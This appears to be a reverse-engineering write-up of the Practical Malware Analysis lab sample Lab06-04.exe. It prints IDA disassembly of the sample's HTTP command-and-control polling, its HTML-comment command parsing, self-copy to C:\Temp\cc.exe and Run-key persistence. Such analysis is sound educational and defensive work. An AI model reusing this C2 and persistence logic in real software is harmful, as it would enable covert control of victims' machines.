0x0A_Lab06-04
Overview
| Filename | Size | MD5 |
|---|---|---|
| Lab06-04.exe | 40 KB | 21be74dfafdacaaab1c8d836e2186a69 |
TL;DR: A malware requesting commands from an HTML document hosted at http://www.practicalmalwareanalysis.com/cc.htm. Commands are embedded inside an HTML comment at the beginning of the document. The malware uses the following format string to build the user-agent string: Internet Explorer 7.50/pma%d, where %d starts at 0 is incremented by 1 at each request. Once 1440 requests have been sent, the malware exits. Depending on the commands received, the malware can copy itself to the path C:\Temp\cc.exe and persist reboot thanks to the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Malware.
Tools: IDA Free
IDB: Lab06-04.i64
Checking Internet Status
The sample starts by checking the state of the internet connection with a call to InternetGetConnectedState:
1
2
3
4
5
6
7
8
9
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 push ecx
.text:00401004 push 0 ; dwReserved
.text:00401006 push 0 ; lpdwFlags
.text:00401008 call ds:InternetGetConnectedState
.text:0040100E mov [ebp+internet_state], eax
.text:00401011 cmp [ebp+internet_state], 0
.text:00401015 jz short no_internet
The API returns TRUE if an active internet connection is found, and FALSE if there is no internet connection. Depending on the returned value, the message “Success: Internet Connection\n” is printed and eax is set to 1, or the message “Error 1.1: No Internet\n” is printed and eax is set to 0:
1
2
3
4
.text:00401017 push offset aSuccessInterne ; "Success: Internet Connection\n"
.text:0040101C call printf
.text:00401021 add esp, 4
.text:00401024 mov eax, 1
1
2
3
4
5
.text:0040102B no_internet:
.text:0040102B push offset aError11NoInter ; "Error 1.1: No Internet\n"
.text:00401030 call printf
.text:00401035 add esp, 4
.text:00401038 xor eax, eax
The tricky part here is printf wasn’t recognized as such by IDA, so it’s easy to get lost down the rabbit hole (I dodged this one, yay).
Downloading commands
In case an internet connection is detected, a counter is set to 0 and the sample starts to request commands from its CnC. Up to 0x5A0 requests can be sent to the CnC before exiting the loop:
1
2
3
4
5
6
7
8
9
.text:00401248 mov [ebp+ua_index], 0
.text:0040124F jmp short request_command
[...]
.text:0040125A request_command:
.text:0040125A cmp [ebp+ua_index], 5A0h
.text:00401261 jge short exit_loop
.text:00401263 mov ecx, [ebp+ua_index]
.text:00401266 push ecx
.text:00401267 call NETWORK__ReceiveCommandFromHTML
In addition, this counter is used to build the user-agent string:
1
2
3
4
5
6
.text:00401049 mov eax, [ebp+ua_index]
.text:0040104C push eax
.text:0040104D push offset aInternetExplor ; "Internet Explorer 7.50/pma%d"
.text:00401052 lea ecx, [ebp+szAgent]
.text:00401055 push ecx ; char *
.text:00401056 call _sprintf
The sample then requests the URL http://www.practicalmalwareanalysis.com/cc.htm:
1
2
3
4
5
6
7
8
9
10
11
.text:00401073 push 0 ; dwContext
.text:00401075 push 0 ; dwFlags
.text:00401077 push 0 ; dwHeadersLength
.text:00401079 push 0 ; lpszHeaders
.text:0040107B push offset szUrl ; "http://www.practicalmalwareanalysis.com/cc.htm"
.text:00401080 mov eax, [ebp+hInternet]
.text:00401083 push eax ; hInternet
.text:00401084 call ds:InternetOpenUrlA
.text:0040108A mov [ebp+hFile], eax
.text:0040108D cmp [ebp+hFile], 0
.text:00401091 jnz short openurl_success
If the requested resource is available, its content is read in a 0x200 bytes buffer:
1
2
3
4
5
6
7
8
9
.text:004010B1 openurl_success:
.text:004010B1 lea edx, [ebp+dwNumberOfBytesRead]
.text:004010B4 push edx ; lpdwNumberOfBytesRead
.text:004010B5 push 200h ; dwNumberOfBytesToRead
.text:004010BA lea eax, [ebp+Buffer]
.text:004010C0 push eax ; lpBuffer
.text:004010C1 mov ecx, [ebp+hFile]
.text:004010C4 push ecx ; hFile
.text:004010C5 call ds:InternetReadFile
If the download is successful, the 4 first bytes of the buffer are checked. If they match the opening marker of an HTML comment (<!--), the value of the fifth byte is written to al and the function returns:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:004010F9 download_success:
.text:004010F9 movsx ecx, [ebp+Buffer]
.text:00401100 cmp ecx, '<'
.text:00401103 jnz short html_parsing_error
.text:00401105 movsx edx, [ebp+Buffer+1]
.text:0040110C cmp edx, '!'
.text:0040110F jnz short html_parsing_error
.text:00401111 movsx eax, [ebp+Buffer+2]
.text:00401118 cmp eax, '-'
.text:0040111B jnz short html_parsing_error
.text:0040111D movsx ecx, [ebp+Buffer+3]
.text:00401124 cmp ecx, '-'
.text:00401127 jnz short html_parsing_error
.text:00401129 mov al, [ebp+Buffer+4]
.text:0040112F jmp short html_parsing_success
Dispatching commands
Once a command is received, a dispatch function is called. Its first parameter is the command, and the second is the path of the sample being executed (argv[0]):
1
2
3
4
5
6
7
8
9
10
.text:00401290 mov ecx, [ebp+argv]
.text:00401293 mov edx, [ecx]
.text:00401295 push edx ; lpExistingFileName
.text:00401296 mov al, [ebp+command]
.text:00401299 push eax ; command
.text:0040129A call DispatchCommand
.text:0040129F add esp, 8
.text:004012A2 push 60000 ; 60 seconds
.text:004012A7 call ds:Sleep
.text:004012AD jmp short loop_cnc
Once the command has been processed, the sample sleeps for 1 minute before sending a new request.
Dispatch table
The result of command - 0x61 is computed and used as an index inside a jump table:
1
2
3
4
5
6
7
.text:0040115D mov ecx, [ebp+command_]
.text:00401160 sub ecx, 61h
.text:00401163 mov [ebp+command_], ecx
.text:00401166 cmp [ebp+command_], 4 ; switch 5 cases
.text:0040116A ja invalid_command ; jumptable 00401173 default case
.text:00401170 mov edx, [ebp+command_]
.text:00401173 jmp ds:command_switch[edx*4]
Below is the the jump table with the proper labels:
1
2
3
4
5
.text:00401212 command_switch dd offset create_dir
.text:00401212 dd offset copy_file
.text:00401212 dd offset delete_file
.text:00401212 dd offset set_run_key
.text:00401212 dd offset sleep
From this, we deduce that a, b, c, d and e are valid commands.
Command a
This command creates a temporary folder at C:\Temp:
1
2
3
4
5
6
; jumptable 00401173 case 0
.text:0040117A create_dir:
.text:0040117A push 0
.text:0040117C push offset PathName ; "C:\\Temp"
.text:00401181 call ds:CreateDirectoryA
.text:00401187 jmp exit
Command b
This command copies the sample to the path C:\Temp\cc.exe (recall lpExistingFileName is argv[0]):
1
2
3
4
5
6
7
8
; jumptable 00401173 case 1
.text:0040118C copy_file:
.text:0040118C push 1
.text:0040118E push offset Data ; "C:\\Temp\\cc.exe"
.text:00401193 mov eax, [ebp+lpExistingFileName]
.text:00401196 push eax ; lpExistingFileName
.text:00401197 call ds:CopyFileA
.text:0040119D jmp short exit
Command c
This commands deletes the copy created by command b:
1
2
3
4
5
; jumptable 00401173 case 2
.text:0040119F delete_file:
.text:0040119F push offset Data ; "C:\Temp\cc.exe"
.text:004011A4 call ds:DeleteFileA
.text:004011AA jmp short exit
Command d
This command sets the persistency of the sample. It opens the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Run and sets the value malware to point to the path of the sample copy (C:\Temp\cc.exe):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
; jumptable 00401173 case 3
.text:004011AC set_run_key:
.text:004011AC lea ecx, [ebp+phkResult]
.text:004011AF push ecx ; phkResult
.text:004011B0 push KEY_ALL_ACCESS ; samDesired
.text:004011B5 push 0 ; ulOptions
.text:004011B7 push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVe"...
.text:004011BC push HKEY_LOCAL_MACHINE ; hKey
.text:004011C1 call ds:RegOpenKeyExA
.text:004011C7 push 15 ; path length
.text:004011C9 push offset Data ; "C:\\Temp\\cc.exe"
.text:004011CE push REG_SZ ; dwType
.text:004011D0 push 0 ; Reserved
.text:004011D2 push offset ValueName ; "Malware"
.text:004011D7 mov edx, [ebp+phkResult]
.text:004011DA push edx ; hKey
.text:004011DB call ds:RegSetValueExA
Command e
This command makes the sample sleep fot 100 seconds:
1
2
3
4
5
; jumptable 00401173 case 4
.text:004011F4 sleep:
.text:004011F4 push 100000
.text:004011F9 call ds:Sleep
.text:004011FF jmp short exit
EOF